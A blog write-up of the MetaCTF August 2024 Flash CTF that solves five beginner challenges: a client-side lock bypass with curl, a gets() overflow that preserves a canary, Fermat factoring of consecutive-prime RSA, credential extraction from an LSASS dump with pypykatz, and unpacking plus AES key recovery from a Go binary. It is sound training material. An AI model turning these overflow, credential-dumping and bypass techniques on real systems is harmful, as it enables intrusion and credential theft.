️🏴 MetaCTF August 2024 Flash CTF

A monthly mini CTF competition organized by MetaCTF and Antisyphon.

2024-08-22

#ctf

A monthly mini CTF competition organized by MetaCTF with support from Antisyphon Training and TCM Security. There will be 5 challenges and you will have 2 hours to solve as many as you can. This is a beginner-friendly CTF.

Details here: https://app.metactf.com/join/aug2024.

Cracking The Javashop

My favorite coffee shop is opening a new website, but they locked it behind a combination lock page! Can you hack the page to get access early?

Access the site here

The code for the page contains this:

<script>
    const wheels = document.querySelectorAll('.wheel');
    const correctCombination = ['6', '8', '7', '2'];

Entering that code displays the flag.

Equally, the actual server-side check is non-existent:

function checkCombination() {
    const combination = Array.from(wheels).map(wheel => wheel.textContent);
    const status = combination.map((num, index) => num === correctCombination[index] ? 'open' : 'locked');

...and sending open for each value also reveals the flag:

 curl http://host5.metaproblems.com:7510/check-combination \
     --request POST \
     --header "Content-Type: application/json" \
     --data-raw '{"status":["open","open","open","open"]}'
{"message":"MetaCTF{3arly_m0rn1ng_c0ff33_4nd_h4cking}"}

Canary in the Bitcoin Mine

To help offset server costs, we at MetaCTF are considering mining some cryptocurrency. We wrote a cool mining program, and we are even offering a flag if you can get to it without hurting the canary!

Download the source code here. When you're ready, connect to the service with nc host3.metaproblems.com 5980

Although mine is defined as having 64 bytes:

struct {
    char mine[64];
    int canary;
    bool earnedFlag;
} mineshaft;

...the subsequent gets() doesn't perform bounds-checking:

gets(mineshaft.mine);

The service actually displays the memory layout when executed, including the canary value:

 nc host3.metaproblems.com 5980
Welcome to the MetaCTF bitcoin mine, we have a flag you can earn, but it's guarded by our trusty canary!

Memory layout before input:
0000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0040  42 49 52 44 00 00 00 00                          BIRD....

...so it's a matter of filling those 64 bytes, leaving BIRD in place and adding a byte afterwards:

Place some characters into the mine: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIRDX

Memory layout after input:
0000  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0010  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0020  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0030  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0040  42 49 52 44 58 00 00 00                          BIRDX...
Canary is alive.
Well done, you've earned the flag!
MetaCTF{g0t_7h3_fl4g_4nd_s4v3d_7h3_canary}

Loopy Primes

What's better than RSA? 1024 runs of RSA!

We encrypted the flag using this program, and the output from running the program with the flag is available here.

Can you figure out what the original flag was?

The use of consecutive primes, p and q, to determine n is an odd choice:

p = getPrime(keysize)
q = nextprime(p)
n = p*q

Thanks to this answer on RSA: exploiting consecutive primes and a lot of reading:

import sys

from math import isqrt
from Crypto.Util.number import long_to_bytes


def factor_n_consecutive_primes(n):
    A = isqrt(n) + 1
    A += A * A < n
    while True:
        B_squared = A * A - n
        B = isqrt(B_squared)
        if B * B == B_squared:
            p = A - B
            q = A + B
            return p, q
        A += 1


with open("output.txt") as i:
    lines = i.read().splitlines()
    n_values = list(map(int, (line.split()[-1] for line in lines[:-1])))

    ct = int(lines[-1].split()[-1])

E = 65537

for i, n in enumerate(reversed(n_values)):
    p, q = factor_n_consecutive_primes(n)
    phi = (p - 1) * (q - 1)
    d = pow(E, -1, phi)
    pt = pow(ct, d, n)
    ct = pt
    sys.stdout.write(f"\r{i + 1} of {len(n_values)}")
    sys.stdout.flush()
sys.stdout.write("\n")

FLAG = long_to_bytes(pt).decode()
print(FLAG)

...which gives:

 python3 loopy_primes_solution.py
1024 of 1024
MetaCTF{g0t_d0wn_7o_7h3_root_0f_th3_lo0py_pr1mes}

Mimican't

I hacked into a super important system and pulled an LSASS dump!

Unfortunately, I can't seem to get my tools working properly to analyze it. Can you please help me find the flag in the dump?

Download the LSASS dump here

Courtesy of this blog on DCTF 2022 and after installing pypykatz:

 pypykatz lsa minidump lsass.DMP | rg --max-count 1 --ignore-case meta
INFO:pypykatz:Parsing file lsass.DMP
                password MetaCTF{Rice_shirt_rice_money}

Note: feeling that this should have been more difficult, I peeked at the writeup. Apparently pypykatz should not have worked but hey-ho…

Go Vote

Some new company is in charge of making the polling software that will get deployed across polling stations throughout the nation. We're worried about bad actors trying to reverse the software and figuring out a way to shut down the vote early. Can you take a look yourself?

Here's the binary.

strings suggests that this is packed with UPX:

 strings polling_station | rg UPX
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 4.24 Copyright (C) 1996-2024 the UPX Team. All Rights Reserved. $

...but upx itself complains:

 upx -d polling_station
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.3       Markus Oberhumer, Laszlo Molnar & John Reiser   Mar 27th 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: polling_station: NotPackedException: not packed by UPX

Unpacked 0 files.

Apparently this is a thing; in this case, UPX! has been replaced with VOTE:

 xxd polling_station | tail -n 4
000731e0: e280 566d b0b9 879c 0000 0000 0056 4f54  ..Vm.........VOT
000731f0: 4500 0000 0000 0000 564f 5445 0e16 0e0a  E.......VOTE....
00073200: 9c74 c016 c104 ab61 401c 1600 f831 0700  .t.....a@....1..
00073210: 401c 1600 4919 0087 f400 0000            @...I.......

...and to fix that:

with open("polling_station", "rb") as i:
    raw = i.read()

with open("polling_station.fixed", "wb") as o:
    o.write(raw.replace(b"VOTE", b"UPX!"))

..which now works:

 upx -d polling_station.fixed
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.3       Markus Oberhumer, Laszlo Molnar & John Reiser   Mar 27th 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   1452976 <-    471580   32.46%   linux/amd64   polling_station.fixed

Unpacked 1 file.

Oh dear, it's Go. IDA's Functions gives some hint as to what this thing actually does:

main_main
main_encrypt
main_secureAuthenticate
main_authenticate
main_initiateVotingMenu
main_voidLastVote
main_closeVotingAndTallyVotes
main_beep
main_clear

main_secureAuthenticate appears to be the point at which a password prompt appears:

lea     rsi, off_4D4A10 ; "Enter password: "

The instructions in main_main itself reveals two possible passwords:

There is, however, another function—main_secureAuthenticate—which does…something.

It actually hands off to main_encrypt, which appears to do the gruntwork, eventually making use of crypto_aes_NewCipher: so it's using AES. Immediately before that, it loads 4 integers

push    rbp
mov     rbp, rsp
sub     rsp, 0B8h
mov     [rsp+0C0h+arg_8], rbx
mov     [rsp+0C0h+arg_0], rax
mov     rdx, 7620797265762061h
mov     [rsp+0C0h+var_78], rdx
mov     rdx, 7972657620797265h
mov     [rsp+0C0h+var_70], rdx
mov     rdx, 6573207972657620h
mov     [rsp+0C0h+var_68], rdx
mov     rdx, 79656B2074657263h
mov     [rsp+0C0h+var_60], rdx
mov     ecx, 20h ; ' '
lea     rax, [rsp+0C0h+var_78]
mov     rbx, rcx
call    crypto_aes_NewCipher
test    rcx, rcx
jz      short loc_4A20AD

…which, when decoded:

numbers = [
    0x7620797265762061,
    0x7972657620797265,
    0x6573207972657620,
    0x79656B2074657263,
]
print(b"".join(number.to_bytes(8, byteorder="little") for number in numbers).decode())

…give a very very very very secret key: so that's the key then.

Heading into the actual algorithm, it does something similar with 2 further integers:

loc_4A20AD:
mov     [rsp+0C0h+var_40], rbx
mov     [rsp+0C0h+var_50], rax
mov     rcx, [rsp+0C0h+arg_8]
lea     rbx, [rcx+10h]
lea     rax, RTYPE_uint8
mov     rcx, rbx
call    runtime_makeslice
mov     [rsp+0C0h+var_30], rax
movups  [rsp+0C0h+var_88], xmm15
mov     rdx, 3837363534333231h
mov     qword ptr [rsp+0C0h+var_88], rdx
mov     rdx, 3635343332313039h
mov     qword ptr [rsp+0C0h+var_88+8], rdx
mov     rbx, [rsp+0C0h+var_40]
lea     rcx, [rsp+0C0h+var_88]
mov     edi, 10h
mov     rsi, rdi
mov     rax, [rsp+0C0h+var_50]
nop     dword ptr [rax+rax+00h]
call    crypto_cipher_NewCFBEncrypter

…which, when run through the same code, produce 1234567890123456.

After a lot of debugging, the function can be seen to take an array of bytes as input which it later compares to the output of the main_encrypt call (I think).

Making a healthy assumption about what those bytes must be and putting all of that together:

from Crypto.Cipher import AES


key = b"a very very very very secret key"
iv = b"1234567890123456"
ciphertext = bytes(
    [
        0x95,
        0xED,
        0xBB,
        0x79,
        0x1B,
        0x09,
        0xFB,
        0x12,
        0x6C,
        0x49,
        0xBE,
        0x5E,
        0xDB,
        0xBB,
        0x1A,
        0x3E,
        0xB6,
        0xB3,
        0x58,
        0x8D,
        0x89,
        0x3C,
        0x83,
        0x3E,
        0xBF,
        0xFC,
        0xC9,
        0x8A,
        0x86,
        0x98,
        0x3A,
        0xC4,
        0x70,
        0xFB,
        0x51,
        0xDA,
        0x66,
        0x01,
        0xCC,
    ]
)

cipher = AES.new(key=key, mode=AES.MODE_CFB, iv=iv, segment_size=128)

print(cipher.decrypt(ciphertext).decode())

After a lot of failure and this comment on the now-defunct pycrypto/pycrypto repo. I discovered that segment_size has the "wrong" default—amending to the "correct" value of 128 and running the above:

 ./aes.py
MetaCTF{sh0uld_h4v3_u53d_p4p3r_b4ll0ts}